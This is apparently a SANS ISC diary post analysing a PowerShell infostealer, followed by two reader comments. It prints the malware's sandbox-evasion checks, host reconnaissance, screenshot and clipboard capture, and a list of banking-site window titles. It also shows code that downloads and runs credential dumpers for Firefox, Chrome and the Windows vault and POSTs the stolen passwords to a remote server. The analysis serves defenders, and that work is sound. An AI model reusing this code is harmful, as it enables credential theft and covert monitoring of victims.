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SANS ISC: Some Powershell Malicious Code - SANS Internet Storm Center SANS ISC InfoSec Forums

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Some Powershell Malicious Code

Powershell is a great language that can interact at a low-level with Microsoft Windows. While hunting, I found a nice piece of Powershell code. After some deeper checks, it appeared that the code was not brand new but it remains interesting to learn how a malware infects (or not) a computer and tries to collect interesting data from the victim.


1.The different snippets of code presented here are only for learning purposes
2. The code has been beautified

Usually, a malware will avoid to install itself on a virtualized environment (an automated sandbox or a security analyst's lab). A common way to detect a virtualized environment is to check BIOS values. Powershell can use query lot of operating system information through WMI[1].

function IsVirtual {
  $wmibios = Get-WmiObject Win32_BIOS -ErrorAction Stop | Select-Object version,serialnumber 
  $wmisystem = Get-WmiObject Win32_ComputerSystem -ErrorAction Stop | Select-Object model,manufacturer
  $ResultProps = @{
    ComputerName = $computer 
    BIOSVersion = $wmibios.Version 
    SerialNumber = $wmibios.serialnumber 
    Manufacturer = $wmisystem.manufacturer 
    Model = $wmisystem.model 
    IsVirtual = $false 
    VirtualType = $null 

  if ($wmibios.SerialNumber -like "*VMware*") {
    $ResultProps.IsVirtual = $true
    $ResultProps.VirtualType = "Virtual - VMWare"
  else {
    switch -wildcard ($wmibios.Version) {
      'VIRTUAL' { 
        $ResultProps.IsVirtual = $true 
        $ResultProps.VirtualType = "Virtual - Hyper-V" 
      'A M I' {
        $ResultProps.IsVirtual = $true 
        $ResultProps.VirtualType = "Virtual - Virtual PC" 
      '*Xen*' { 
        $ResultProps.IsVirtual = $true 
        $ResultProps.VirtualType = "Virtual - Xen" 

  if (-not $ResultProps.IsVirtual) {
    if ($wmisystem.manufacturer -like "*Microsoft*") { 
      $ResultProps.IsVirtual = $true 
      $ResultProps.VirtualType = "Virtual - Hyper-V" 
    elseif ($wmisystem.manufacturer -like "*VMWare*") { 
      $ResultProps.IsVirtual = $true 
      $ResultProps.VirtualType = "Virtual - VMWare" 
    elseif ($wmisystem.model -like "*Virtual*") { 
      $ResultProps.IsVirtual = $true
      $ResultProps.VirtualType = "Unknown Virtual Machine"
  $results += New-Object PsObject -Property $ResultProps
  return $ResultProps.IsVirtual

Another interesting control is to check the system uptime. A sandbox is rebooted before every new analysis. A very short uptime is suspicious:

function Get-SystemUptime ($computer = "$env:computername") {
  $lastboot = [System.Management.ManagementDateTimeconverter]::ToDateTime("$((gwmi  Win32_OperatingSystem).LastBootUpTime)")
  $uptime = (Get-Date) - $lastboot
  #Write-Host "System Uptime for $computer is: " $uptime.days "days" $uptime.hours "hours" $uptime.minutes "minutes" $uptime.seconds "seconds"
  return (($uptime.days).ToString()+"d:"+($uptime.hours).ToString()+"h:"+$uptime.minutes.ToString()+"m:"+($uptime.seconds).ToString()+"s")

Once installed, a MUTEX[2] is created to avoid multiple instance of the same malware to be installed:

function New-Mutex($MutexName) {
  #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
  $MutexWasCreated = $false
  $Mutex = $Null
  Write-Verbose "Waiting to acquire lock [$MutexName]..."
  try {
    $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
  } catch {
    $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
  try { 
    if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
    Write-Verbose "Lock [$MutexName] acquired. Executing..."
    Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })

New-Nutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")

It is useful to learn more about the victim, let’s grab some information about the computer and its network. You can also see how to detect if Powershell has admin rights and if the computer is a domain member.

$cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2")[0].name
if ($cpu_name -eq $null) { $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2").name }
$vm = IsVirtual
$ram = ([Math]::Round((Get-WmiObject -Class win32_computersystem).TotalPhysicalMemory/1Gb)).toString()
$os = (Get-WmiObject -class Win32_OperatingSystem).Caption
$os_arch = (Get-WmiObject -class Win32_OperatingSystem).OSArchitecture
$uptime = Get-SystemUptime
$ext_ip = (New-Object net.webclient).downloadstring("") -replace "[^\d\.]"
$timezone = [TimeZoneInfo]::Local.BaseUtcOffset.Hours
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")

if ((Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections -eq 1) {
  $rdp = $False
else {
  $rdp = $True 

if($IsAdmin -ne $True){ 
  if ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ) { $IsAdmin  = $True }

$wan_speed = New-Object net.webclient; "{0:N2} Mbit/sec" -f ((100/(Measure-Command {$wc.Downloadfile('',"c:\speedtest.test")}).TotalSeconds)*8); del c:\speedtest.test

if ((gwmi win32_computersystem).partofdomain -eq $true -and (gwmi win32_computersystem).domain -ne "WORKGROUP") {
  $domain = (gwmi win32_computersystem).domain.ToUpper()
else {
  $domain = 'nodomain’

Of course, screenshots are always interesting to collect sensitive data:

function Get-ScreenShot {
  $OutPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
  Add-Type -AssemblyName System.Windows.Forms
  $fileName = '{0}.jpg' -f (Get-Date).ToString('yyyyMMdd_HHmmss')
  $path = Join-Path $ScreenshotPath $fileName 
  $b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
  $g = [System.Drawing.Graphics]::FromImage($b)
  $g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
  $myEncoder = [System.Drawing.Imaging.Encoder]::Quality
  $encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1) 
  $encoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($myEncoder, 20) 
  $myImageCodecInfo = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()|where {$_.MimeType -eq 'image/jpeg'}
  $b.Save($path,$myImageCodecInfo, $($encoderParams))


The malware contains a password stealer for Firefox. It download another Powershell script that can decoded the Firefox passwords. Get-Foxdump is part of Empire framework[3]. Then the stolen credentials are exfiltrated to another website:

function GetFF {


   [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
   & cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('';); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
   & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('';); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"

   if (Test-Path "$env:temp\firefox.log") {
     $content = Get-Content $env:temp\firefox.log | Out-String
     $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
     $json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "ffbrwpwd"}
     $log_json = $json | ConvertTo-Json
     $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
     [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+"/pshlog")
     $webRequest.ContentType = "application/json"
     $webRequest.Timeout = 10000
     $webRequest.Method = "POST"
     $webRequest.ContentLength = $buffer.Length;
     $requestStream = $webRequest.GetRequestStream()
     $requestStream.Write($buffer, 0, $buffer.Length)
     [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
     $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
     $result = $streamReader.ReadToEnd()
     Remove-Item "$env:temp\firefox.log" 
  -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version

The same function is implemented against Chrome. It calls the script Get-ChromeDump[4]:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
& cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('';); Stop-Process -name chrome -ErrorAction SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit”

And the Windows vault via Get-VaultCredential[5]:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
IEX (New-Object Net.WebClient).DownloadString($vault_url); Get-VaultCredential -OutVariable vaultcreds -ErrorAction

The next interesting function is Gclip() which monitors the clipboard and steal the content:

function Gclip {
   Start-Job -ScriptBlock {
     $PollInterval = 3
     Add-Type -AssemblyName System.Windows.Forms
     # used to check if the contents have changed
     $PrevLength = 0
     $PrevFirstChar = ""
       $tb = New-Object System.Windows.Forms.TextBox
       $tb.Multiline = $true
       # only output clipboard data if it's changed
       if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){
         # if the length isn't 0, the length has changed, and the first character
         # has changed, assume the clipboard has changed
         # YES I know there might be edge cases :)
         if($PrevFirstChar -ne ($tb.Text)[0]){
           $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
           Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject $tb.Text -Encoding unicode
           $PrevFirstChar = ($tb.Text)[0]
           $PrevLength = $tb.Text.Length
       Start-Sleep -s $PollInterval

Interesting websites are monitored through the title of the window. If a title matches, a screenshot is taken:

if (($Process.MainWindowTitle -like '*checkout*') -or ($Process.MainWindowTitle -like '*Pay-Me-Now*') `
   -or ($Process.MainWindowTitle -like '*Sign On - Citibank*') -or ($Process.MainWindowTitle -like 'Sign in or Register | eBay')`
   -or ($Process.MainWindowTitle -like '*Credit Card*') -or ($Process.MainWindowTitle -like '*Place Your Order*') `
   -or ($Process.MainWindowTitle -clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') `
   -or ($Process.MainWindowTitle -like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '* Extranet*') `
   -or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*') `
   -or ($Process.MainWindowTitle -clike '*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*') `
   -or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') `
   -or ($Process.MainWindowTitle -clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') `
   -or ($Process.MainWindowTitle -like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*') `
   -or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
   -or ($Process.MainWindowTitle -clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
   -or ($Process.MainWindowTitle -clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
   -or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') `
   -or ($Process.MainWindowTitle -clike '*PayTrace*') -or ($Process.MainWindowTitle -clike '*New Charge*') `
   -or ($Process.MainWindowTitle -clike '*Verification*') -or ($Process.MainWindowTitle -clike '*PIN*') `
   -or ($Process.MainWindowTitle -clike '*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') `
   -or ($Process.MainWindowTitle -clike '*Debit Card*') -or ($Process.MainWindowTitle -clike '*Activation*') `
   -or ($Process.MainWindowTitle -clike '*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*') `
   -or ($Process.MainWindowTitle -clike '*Driver*License*') -or ($Process.MainWindowTitle -clike '*Check-in for*') `
   -or ($Process.MainWindowTitle -clike '*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') `
   -or ($Process.MainWindowTitle -clike '*Converge -*') -or ($Process.MainWindowTitle -clike '*Swipe*') `
   -or ($Process.MainWindowTitle -like '*Payrazr*') -or ($Process.MainWindowTitle -clike '*Hosted -*') `
   -and (Test-Path "$env:TEMP\key.log")) {
   1..20 | % {
     Start-Sleep -Seconds 5

These examples show that malicious code can also be written in a simple language and some of the techniques used to gather/exfiltrate information from the infected computer.


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


326 Posts
ISC Handler
Let me Troll you for a second, after all - I am from Norway..

How are these actual and beautified code examples helping improve information security?

I love it when we are discussing techniques that are used, and how we can use these ourselves and/or block them in our environments.

But I don't need code to steal screenshots to protect my environment??!

Thanks, dotBATman

60 Posts Posts
The examples show what it possible today, and can be used to demonstrate the need for security measures when discussing with clients or in-house with users or managers.



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